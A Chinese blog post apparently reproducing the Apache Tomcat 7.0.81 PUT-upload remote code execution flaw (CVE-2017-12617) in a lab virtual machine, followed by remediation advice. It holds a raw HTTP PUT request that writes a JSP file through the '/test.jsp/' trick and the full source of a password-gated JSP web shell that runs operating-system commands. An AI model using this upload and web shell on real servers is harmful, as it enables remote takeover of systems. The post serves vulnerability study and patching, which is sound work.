• Tomcat/7.0.81 远程代码执行漏洞复现


    Tomcat/7.0.81 远程代码执行漏洞复现

    参考链接:

    http://www.freebuf.com/vuls/150203.html

    漏洞描述:

    CVE-2017-12617

    Apache Tomcat是一个流行的开源JSP应用服务器程序。

    Apache Tomcat启用HTTP PUT后,攻击者通过构造的请求,可上传任意JSP文件到服务器,造成远程代码执行。

    具体漏洞实现的原理参考链接里面有介绍,我本来也不是很理解,就不介绍了。

    漏洞环境:

    Win7 64位虚拟机

    apache-tomcat-7.0.81-windows-x64  (请在网盘里找对应的名字)

    具体复现过程:

    这个漏洞需要安装好后,修改 Tomcat 7.0confweb.xml 配置文件,增加 readonly 设置为 false ,一定要记得重启下tomcat服务。

     

    修改以后,运行tomcat,访问运行

     

    这时候通过burp发一个PUT方法的包,在目录处可以添加文件名,freebuf上的大神说7.0.81版本可以用test.jsp/、test.jsp/.,我用下面包测试了一下

    PUT /test.jsp/ HTTP/1.1
    Host: 192.168.198.128:8080
    Content-Length: 24
    
    <%out.println("test");%>

     

    按照大神的思路写的马试试

    <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
    <%!public static String excuteCmd(String c) 
    {
        StringBuilder line = new StringBuilder();
    try 
    {
        Process pro = Runtime.getRuntime().exec(c);
        BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
        String temp = null;
        while ((temp = buf.readLine()) != null) 
        {
            line.append(temp+"\n");
        }
        buf.close();
    } 
    catch (Exception e) 
    {
        line.append(e.getMessage());
    }
    return line.toString();
    }
    %>
    <%
    if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd")))
    {
        out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");
    }
    else
    {
        out.println(":-)");
    }
    %>
    大神的马

     

    成功执行了

     

    在虚拟机的tomcat路径下apache-tomcat-7.0.81webappsROOT成功写入文件。

    修复建议:

      1、将Tomcat更新到该漏洞被修复的版本。

      2、web.xml配置文件readonly init-param设置为true,或是保持默认不设置,则攻击者无法上传文件。

      3、另外,当然也可以在前端(例如WAF)上阻止PUT和DELETE请求。

  • 相关阅读:
    vue : 无法加载文件 C:UsersxxxAppDataRoaming pmvue.ps1,因为在此系统上禁止运行脚本
    VSCode搭建简单的Vue前端项目
    Ant Design和Ant Design Pro
    React、Vue、AngularJS、Bootstrap、EasyUI 、AntDesign、Element理解
    CTF-flag在index里 80
    Web安全之XSS漏洞专题和Web安全之命令执行漏洞专题—第五天
    CTF-web4 80
    Sqli-labs-第五关详解
    Web安全之文件上传漏洞专题--第四天.
    Sqli_labs第1-4关&&sqlmap.py的初步使用
  • 原文地址:https://www.cnblogs.com/zhaijiahui/p/7661679.html
Copyright © 2020-2023  润新知